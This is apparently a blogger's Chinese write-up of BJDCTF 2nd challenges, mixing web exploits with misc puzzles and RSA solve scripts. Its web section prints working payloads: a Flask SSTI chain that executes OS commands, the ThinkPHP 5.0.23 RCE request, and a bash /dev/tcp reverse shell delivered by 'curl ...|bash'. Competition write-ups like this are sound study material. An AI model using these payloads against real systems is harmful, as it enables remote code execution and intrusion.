BJDCTF 2nd WP
引言
- 由於在備考,所以沒多少時間做,並且也實屬是菜,所以就做了幾個題目,這里就分享一下啦 Hi~ o( ̄▽ ̄)ブ
[BJDCTF 2nd]fake google
知識點:SSTI
- 這個最近練得比較多了,所以是做出來的第一個
Web
,考的還是flask
框架的ssti
,並且沒做太多的現在,就是在最后讀取flag
的時候稍加了一些套路,要base64
一下讀取文件 - 我是利用的
warnings.catch_warnings
進行的eval命令執行,最常用的好像沒有找到,所以就找了這個 - 先還是使用
{{[].__class__.__mro__[1].__subclasses__()}}
獲取基本類的子類,然后直接ctrl+F
查找可以使用的方法
發現存在,由於發現不能直接使用index()
查找索引,所以復制出來獲取其索引,發現是第169,然后使用
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
發現成功執行
- 剩下就是命令執行,遍歷目錄,讀取
flag
,這里要說一下的就是,讀取flag
時,對讀取的文件內容有所過濾,所以要base64
一下讀取
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("echo``cat /flag``| base64").read()')}}
- 注:這里博客園的
Markdown
不知道為什么轉移不了反斜號,cat /flag
只要一對反引號就行了 (lll¬ω¬)
- 最后解碼一下即可得到flag
[BJDCTF 2nd]old-hack
知識點:ThinkPHP5.0.23 遠程RCE
- 這題首頁就已經有了提示,顯示的
Powered by THINKPHP5
,直接聯想到tp5
的漏洞,直接搜exp
打即可
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
成功執行,剩下直接讀取根目錄下的flag即可
[BJDCTF 2nd]duangShell
知識點:反彈shell
題目環境准備
- 花了好久終於把這里弄懂了,現在記錄一下
- 這題由於是賽后才做的,所以就只能在
BUUCTF
上做了,由於之前對反彈shell
那一套不怎么了解,所以花了好久 - 由於這題的環境靶機無法訪問外網,所以需要一個內網靶機來做,這里就直接用了題目中推薦的
Basic
中的Linux Labs
,由於這台靶機已經安裝了lamp
,已指出http服務,所以在Labs
的/var/www/html
新建一個能反彈shell的命令文件,命令:bash -i >& /dev/tcp/ip/port 0>&1
,ip
是內網靶機的ipport
可以隨意指定 - 注:這句話是指將
Bash
直接反彈一個shell
到指定ip
端口(部分linux發行版中支持),而且/dev/tcp
這個文件實際不存在,而當你在監聽這個端口的時候,對這個文件進行讀寫,就相當於實現兩個主機之間的socket
通信 - 文件環境弄好后,只要在靶機上監聽端口就可以利用反彈的shell尋找
flag
了
解題
- 頁面提示源碼可以通過
.swp
備份文件獲取,遂下載,然后使用vim -r index.php.swp
恢復備份文件
這里由於是exec
,他不會回顯結果,並且有過濾了太多命令,但是沒有限制curl
,所以可以使用curl xxxx|bash
來實現 - 這里要設置並傳值給
girl_friend
- 這里我的理解是讓題目的
bash
直接執行curl
訪問我們寫有反彈shell
命令文件的內網靶機,遂實現將題目shell
反彈
然后再在靶機上監聽,即可獲取到題目shell
- 直接
find
查找flag
find / -name flag
/flag
下的是假的,所以直接cat /etc/demo/P3rh4ps/love/you/flag
得到flag
[BJDCTF 2nd]假豬套天下第一
知識點:Http header
- 這題用到了好多header相關的知識,有好多header字段屬實不詳細去細究的話,說實話做這個題難度會增加不少
- 大家可以看一下這個文章,有比較詳細的header的介紹
https://blog.csdn.net/qq_42350419/article/details/82841192
- 解題:首先打開是個登錄界面,嘗試萬能密碼登錄發現登錄成功,但是似乎沒什么用處,遂嘗試使用
BP
抓包查看一下,在Raw
的最后面注釋里發現玄機<!-- L0g1n.php -->
- 嘗試訪問,發現這下才步入正軌
猜測與時間戳相關,BP
中發現header中有time
字樣,判斷是時間戳,又提示要99年后,遂設置2120年的時間戳,可以用python生成,設置time=4738550112
import datetime
ctime = datetime.datetime.strptime('Feb 28, 2120 03:55:12 PM', '%b %d, %Y %I:%M:%S %p').timestamp()
ctime
4738550112.0
- 而后進入下一層,提示要本地訪問,從以前的做題經驗來說常用的是
X-Forwared-For
和Cilent-IP
,這里貌似只能用Client-IP
,設置Client-IP=127.0.0.1
兩者從本質上來收都是實現的反向代理,其差別可見這篇文章https://www.zhihu.com/question/264264051
- 再進入下一層,提示要使發送請求的來源為
gem-love.com
,故設置Referer=gem-love.com
(注:直接這個域名即可,不用加https://) - 再進一步,提示訪問
browsers
要是Commodo 64
,所以要設置User-Agent
,google
一下發現是Commodore 64
,設置一下Ua
為這個就行了 - 再到下一層,提示要使發送請求的郵箱使
root@gem-love.com
,這里在上面的鏈接中有提到,是From
字段,遂設置From =root@gem-love.com
- 進入下層,提示要使用
y1ng.vip
的代理,查閱之后發現,via
字段可以顯示經過了哪些代理后才到目標服務器了,也就是說使用了哪種代理,剛好符合這里的意思。遂設置via=y1ng.vip
- 終於到了最后,但是發現仍獲取不到
flag
,一開始還以為要設置is-admin=1
,最后在源碼里發現一串base64
,解密后就是flag
[BJDCTF 2nd]Schrödinger
知識點:BP抓包,修改cookie,時間戳
- 這題有一點腦洞,查看源碼發現了有一個
test.php
,訪問發現是一個登錄界面,先嘗試萬能密碼登錄,發現不行,而后嘗試BP
爆破密碼,發現思路仍然不對,最后發現首頁最下面還有一個框,而后,大致看了一下那段話,發現這個頁面似乎就可以爆破密碼,於是將test.php
的url填入,發現開始爆破,真就這樣就行了?答案是否定的,看下面時間的進行十分緩慢,等它爆破完成估計不知道要多久了,於是BP
抓一下包,發現在Cookie
中有一串base64
,dXNlcg=MTU4NTIzMDc2OQ%3D%3D
,decode
之后發現是時間戳,難道是要把這個時間改大一點,他就可以快速爆破完成了?然而還是沒有那么簡單,我嘗試改到2200
年,發現仍然不行,最后才發現,將其置空的話,進度竟然一下就到了99%
,而后在check
一下,發現爆破雖然成功了,但是還是沒有flag
,卻給了一個av
號,去B
站搜了一下,最后在評論區發現了flag
,不得不說這題腦洞屬實有點大
[BJDCTF 2nd]老文盲了
知識點:腦洞
- 這題實屬時坑加腦洞,直接將文字搜索一下,讀一下拼音就發現了端倪,最后交flag的時候注意刪掉大括號這幾個字
flag:BJD{淛匶襫黼瀬鎶軄鶛驕鰳哵}
[BJDCTF 2nd]cat_flag
知識點:二進制轉字符串
- 一開始沒反應過來,后來試着把有雞腿的記為0,沒雞腿的記為1,化成01二進制字符串,再轉ASCII碼即可
[BJDCTF 2nd]靈能精通-y1ng
知識點:變種豬圈密碼
- 變種豬圈密碼,找一下碼表對着改一下就好了
[BJDCTF 2nd]燕言燕語-y1ng
知識點: 十六進制,維吉尼亞密碼
- 先十六進制轉字符串,然后再維吉尼亞密碼解密,密鑰就是yanzi
[BJDCTF 2nd]Y1nglish-y1ng
知識點:替換密碼
- 直接在線解密,發現flag不對,最后出題人放出hint,說要把錯誤單詞改正后提交,遂發現最后一個單詞應該是 Cr4ck
[BJDCTF 2nd]rsa0
知識點:基本RSA套路,初中數學
- 等量代換,將已知的p+q,p-q轉換到我們所需要的phi和n,然后求逆元d,最后再求解m即可
- exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa0
import gmpy2
from Crypto.Util.number import *
#a=p+q b=p-q
a=17162353559144679042138764130392599487619616736304807356650753313511074468547740997240459020330637407607018451370757739841162760390979956823381951345720928
b=2157944102411263994709908806124613607462762078172843352748093273937884682449698667594757978254948952712563313245682739933249064978139449404711197573108846
c=45301241949589301995180160804303973330820405560962297548184980689249607707456658111351805771592837881785351326731109851752124118781776273507359216672384415019593182742168977641581393719509221130849808495779942628017133428896872236441436256500653209906562574669595813780702154561337014309513479940699909759454
e=13881611
n=(a**2-b**2) //4
phi=n-a+1
d=int(gmpy2.invert(e,phi))
m=pow(c,d,n)
print(long_to_bytes(m))
[BJDCTF 2nd]rsa1
知識點:同上
- 仍然是等量代換
- exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa1
from gmpy2 import iroot,invert
from Crypto.Util.number import *
#p**2+q**2=a
a=230282632694523225937051344416173208141003770756289612804807217657804068791542651564838194212104676551997764018460879226166807005433546876007288091996196539309119708193341213288590014759087592722749150747027103386853090111834756105787095305838589646731702172385691220203268855509181738201501713929481838642498
#p-q=b
b=-4900116095386312405990409603053751102044890401512310635193158977344509279780138297206939893571426574257123980641762453196916366832983541826491201092272814
c=57305478781873469701906886706515374864936174293678370148185292603092343152208523838764818066602190494238364695329068029056956741411335604426893391963871703874286120587046383783936896139251516197205626486457338063805605931966769630762887820549045989322171833789694041829203743398401975653722227935420397574254
e=8671291
n=(b**2-a)//(-2)
temp=2*n+a
temp_1=iroot(temp,2)
#temp_1=20893877754997573728203567845738001284961182394065350971204621396499968057878195283639697317876340959595444095705767445958979789899779232673349184190305080
print(temp_1)
phi=n-temp_1+1
d=int(invert(e,phi))
m=pow(c,d,n)
print(long_to_bytes(m))
總結
- 原本打算借這次機會練一下web,卻發現自己還是tcl,后續等官方wp出來后再去學習一下web的一些套路